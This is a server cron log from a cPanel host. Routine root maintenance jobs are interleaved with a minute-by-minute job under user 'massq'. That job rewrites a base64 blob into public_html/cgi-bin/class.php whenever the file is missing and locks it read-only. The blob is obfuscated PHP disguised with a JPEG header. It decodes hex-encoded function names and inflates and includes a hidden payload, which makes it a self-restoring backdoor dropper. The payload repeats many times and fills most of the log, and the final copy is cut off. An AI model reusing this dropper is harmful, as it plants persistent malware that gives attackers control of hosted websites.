Sep  6 06:00:01 server CROND[15159]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:00:01 server CROND[15160]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 06:00:01 server CROND[15165]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  6 06:00:01 server CROND[15157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:01:01 server CROND[16049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:01:01 server CROND[16050]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 06:01:01 server CROND[16051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:01:01 server CROND[16052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:01:01 server run-parts(/etc/cron.hourly)[16050]: starting 0anacron
Sep  6 06:01:01 server run-parts(/etc/cron.hourly)[16071]: finished 0anacron
Sep  6 06:02:01 server CROND[16445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:02:01 server CROND[16446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:02:01 server CROND[16447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:03:01 server CROND[16834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:03:01 server CROND[16835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:03:01 server CROND[16836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:04:01 server CROND[17284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:04:01 server CROND[17285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:04:01 server CROND[17286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:05:01 server CROND[17718]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:05:01 server CROND[17720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:05:01 server CROND[17722]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 06:05:01 server CROND[17724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:05:01 server CROND[17725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:05:01 server CROND[17726]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:05:01 server CROND[17723]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 06:05:01 server CROND[17728]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 06:06:01 server CROND[18600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:06:01 server CROND[18601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:06:01 server CROND[18604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:07:01 server CROND[18981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:07:01 server CROND[18982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:07:01 server CROND[18983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:08:01 server CROND[19358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:08:01 server CROND[19359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:08:01 server CROND[19360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:09:01 server CROND[19741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:09:01 server CROND[19742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:09:01 server CROND[19743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:09:01 server CROND[19744]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 06:10:01 server CROND[20132]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 06:10:01 server CROND[20134]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 06:10:01 server CROND[20135]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 06:10:01 server CROND[20145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:10:01 server CROND[20149]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 06:10:01 server CROND[20151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:10:01 server CROND[20153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:10:01 server CROND[20148]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 06:11:01 server CROND[21082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:11:01 server CROND[21083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 06:11:01 server CROND[21084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:12:01 server CROND[21459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 06:12:01 server CROND[21460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 06:12:01 server CROND[21461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxC